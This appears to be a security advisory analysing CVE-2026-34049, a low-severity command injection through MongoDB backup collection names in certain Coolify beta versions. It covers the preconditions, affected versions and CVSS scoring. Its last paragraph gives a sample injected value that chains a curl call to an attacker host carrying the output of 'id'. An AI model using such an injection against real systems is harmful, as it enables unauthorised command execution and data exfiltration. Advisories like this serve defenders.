Coolify CVE-2026-34049

Exploitation requires a Coolify account with high administrative privileges capable of configuring MongoDB backup jobs - specifically the ability to set or modify MongoDB collection names used in backup inputs (reflected by PR:H in the CVSS vector). The target Coolify instance must be running a version between 4.0.0-beta.451 and 4.0.0-beta.470 inclusive, and must have MongoDB backup functionality actively configured and in use. The high attack complexity (AC:H) indicates additional alignment is needed: the attacker must control the specific collection name field within backup configuration, and the backup job must subsequently execute to trigger the injection. Exploitation is limited by the requirement for pre-existing admin-level access - unauthenticated or low-privilege users cannot exploit this path. Installations that do not use MongoDB backups are not exposed.

The CVSS 3.1 base score of 3.3 (Low) accurately reflects the constrained real-world risk: AV:N indicates the Coolify management interface is network-accessible, but PR:H requires an already highly privileged admin account, and AC:H signals that additional conditions (specific backup configuration with crafted collection names) must align for exploitation. The scope is unchanged (S:U) and impact is limited to low confidentiality and low integrity - no availability impact. No EPSS score was provided in the source data, so probability-of-exploitation comparison is unavailable. This vulnerability is not listed in CISA KEV and no public proof-of-concept has been identified. Taken together, this is a low real-world priority: the attack is constrained to insiders or compromised admin credentials, and even successful exploitation yields only limited C:L/I:L impact. The primary concern would be a malicious privileged insider or an attacker who has already fully compromised an admin account - at which point the incremental risk from this injection path is modest.

A highly privileged Coolify administrator - or a threat actor who has compromised an admin account through credential theft or session hijacking - navigates to the MongoDB backup configuration and sets a collection name containing a shell metacharacter sequence such as legit_collection; curl attacker.com/$(id). When the scheduled or manually triggered backup job executes, the unsanitized collection name is passed to the shell, causing the injected command to run in the context of the backup process on the host. No public exploit code has been identified at time of analysis.